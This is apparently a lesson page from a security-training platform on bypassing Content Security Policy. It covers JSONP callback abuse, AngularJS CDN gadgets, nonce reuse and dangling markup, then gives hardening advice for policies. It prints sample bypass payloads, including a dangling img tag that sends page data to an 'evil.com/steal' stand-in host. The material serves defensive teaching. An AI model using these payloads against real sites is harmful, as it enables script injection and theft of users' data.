Login
ChallengesLearn
Scoreboard
Teams
SPNZ

LearnCross Site ScriptingCSP Bypass Techniques
Cross Site Scripting·Lesson 9 of 12

CSP Bypass Techniques

Content Security Policy is the strongest client-side defence — until it isnt. JSONP endpoints, CDN-script-based bypasses, nonce reuse, and dangling markup injection.

Advanced16 min
XSSCSPBypass
Loading lesson…
PreviousContext-Based XSS EscapesNextXSS Detection & Auditing

© 2026 SPNZ.

Terms of ServicePrivacy PolicyCookie Policy

Content Security Policy is the strongest client-side defence against XSS — but it is not impenetrable. A misconfigured or overly permissive CSP creates loopholes that attackers have learned to exploit. JSONP endpoints, whitelisted CDN libraries, predictable nonces, and scriptless techniques all bypass CSP while the browser reports "Policy obeyed."

What you'll be able to do
  • Explain how a JSONP endpoint on a whitelisted origin bypasses CSP.
  • Demonstrate CDN script-gadget attacks using AngularJS or similar libraries.
  • Describe nonce-based bypasses when nonces are predictable or reused.
  • Identify scriptless XSS and dangling markup as CSP-immune exfiltration vectors.
Key terms
JSONP bypass
A technique that uses a whitelisted script src pointing to a JSONP endpoint. The attacker controls the callback parameter, which becomes executable JavaScript in the context of the victim page.
Script gadget
A legitimate JavaScript library on a whitelisted CDN that can be abused to execute arbitrary code. AngularJS, Google APIs, and YouTube embeds have all been used as gadgets.
Nonce reuse
When a CSP nonce attribute is static, predictable, or reused across responses, an attacker can include it in their injected script tag, bypassing the script-src restriction.
Scriptless XSS
An exfiltration technique that does not require JavaScript execution. Uses CSS selectors, form hijacking, or dangling markup to steal data while complying with script-src: none.
Dangling markup
An injection that leaves an HTML tag unclosed — typically an img or form — so that subsequent page content is captured as the attribute value and sent to the attacker server.
What is it?

When the policy becomes the liability

A Content Security Policy tells the browser which origins are trusted for script, style, and resource loading. A strict policy like script-src 'self' blocks all inline scripts and eval, neutralising most XSS attacks even if escaping fails. However, many real-world policies are not strict because they need to support analytics, A/B testing, social media widgets, and third-party libraries.

Each permissive addition to a CSP introduces a potential bypass:

  • A JSONP endpoint on a whitelisted origin reflects attacker-controlled JavaScript in the callback parameter.
  • A CDN origin like ajax.googleapis.com hosts AngularJS, which can be used as a script gadget.
  • A 'strict-dynamic' policy with a predictable nonce allows any script that carries the nonce to execute.
  • A policy with base-uri unspecified allows an attacker to inject a <base> tag that hijacks relative script URLs.
htmlvulnerable
<!-- JSONP bypass: CSP trusts the origin, not the endpoint -->
<!-- CSP: script-src 'self' https://cdn.example.com -->
<script src="https://cdn.example.com/jsonp?callback=alert(1)//"></script>

<!-- AngularJS CDN gadget bypasses strict CSP -->
<!-- CSP: script-src 'self' https://ajax.googleapis.com -->
<script src="https://ajax.googleapis.com/ajax/libs/angular/1.8.3/angular.js">
</script>
<div ng-app ng-csp ng-click="$event.view.alert(1)">click me</div>

<!-- Dangling markup: no script tag needed -->
<!-- CSP: default-src 'self'; script-src 'none' -->
<img src="https://evil.com/steal?data=
CSP bypass via JSONP
Mini Map
Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.
Try it

CSP lab

The lab below shows a page protected by a CSP header. Select a bypass technique and test it against the policy. The lab shows you whether the CSP blocked or allowed the payload and explains why.

stagingcsp-lab.dev/playground
csp-lab
csp-lab · bypass playground
CSP header
Content-Security-Policy: script-src 'self' https://cdn.example.com
How it works

Uses a JSONP callback parameter to execute arbitrary JS from a whitelisted domain.

Payload
<script src="https://cdn.example.com/jsonp?callback=alert(1)//"></script>
Select a technique and click "Test bypass" to see if the CSP allows or blocks the payload.
html
<!-- CSP: script-src 'self' https://cdn.example.com -->

<script src="https://cdn.example.com/jsonp?callback=alert(1)//"></script>

<!-- Result: not tested -->
Real-world relevance

2016 GitHub CSP bypass via JSONP

In 2016, security researcher Patryk Karbownik reported a CSP bypass in GitHub that used a JSONP endpoint on a whitelisted subdomain. GitHub had deployed a CSP that included *.github.com inscript-src. A GitHub-owned subdomain hosted a JSONP-style endpoint that reflected user-controlled callback parameters. An attacker who found an XSS vulnerability on any GitHub page could inject a script tag pointing to this JSONP endpoint, and CSP would allow it because the origin was whitelisted.

The issue demonstrated that whitelisting an entire origin is dangerous when that origin hosts user-reflective endpoints. GitHub fixed the bypass by disabling the JSONP endpoint and moving to a stricter CSP with hash-based script-src directives. The case is one of the most cited examples of CSP misconfiguration in the OWASP CSP Cheat Sheet.

Mitigation

Hardening a CSP against bypass

The safest CSP is one that never uses script-src with origin allowlists. Instead, use nonce-based or hash-based policies. A strict CSP like script-src 'nonce-random' 'strict-dynamic' prevents JSONP and CDN-gadget attacks because it does not trust any origin — only scripts carrying a valid nonce can execute. Additionally:

  • Always include base-uri 'self' to prevent base-tag injection.
  • Set object-src 'none' to block plugin-based bypasses.
  • Use form-action 'self' to prevent form hijacking (dangling markup).
  • Test your CSP with CSP Evaluator or the CSP Tester browser extension.
  • Use report-uri or report-to to monitor violations.
  • Never whitelist entire CDN origins — use hashes for third-party scripts instead.
httpvulnerable
# VULNERABLE CSP — origin-based allowlist
Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  # JSONP on cdn.example.com bypasses this policy

# SAFE CSP — nonce-based + strict-dynamic
Content-Security-Policy:
  default-src 'self';
  script-src 'nonce-r4nd0m' 'strict-dynamic';
  base-uri 'self';
  object-src 'none';
  form-action 'self';
  # Even if a JSONP endpoint exists, its response
  # lacks the nonce and is blocked.
Further reading
  • GitHub CSP bypass via JSONP (2016)(GitHub Blog)
  • OWASP CSP Cheat Sheet(OWASP)
  • CSP Evaluator by Google(Google)
Key takeaways

What to remember

  • CSP is powerful but its effectiveness depends entirely on how it is configured — permissive policies create bypass opportunities.
  • JSONP bypasses occur when a whitelisted origin hosts a reflective endpoint that the attacker controls via the callback parameter.
  • CDN script gadgets (AngularJS, Google APIs) turn whitelisted origins into execution engines.
  • Nonce-based CSP with 'strict-dynamic' is the most robust defence against bypass techniques.
  • Scriptless XSS and dangling markup bypass CSP entirely because they do not rely on JavaScript execution — CSP alone is not sufficient.

Knowledge check

0/3 answered · 0 correct
  1. 1.How does a JSONP endpoint enable CSP bypass?

  2. 2.Why is scriptless XSS not prevented by a CSP with script-src: none?

  3. 3.What was the root cause of the 2016 GitHub CSP bypass?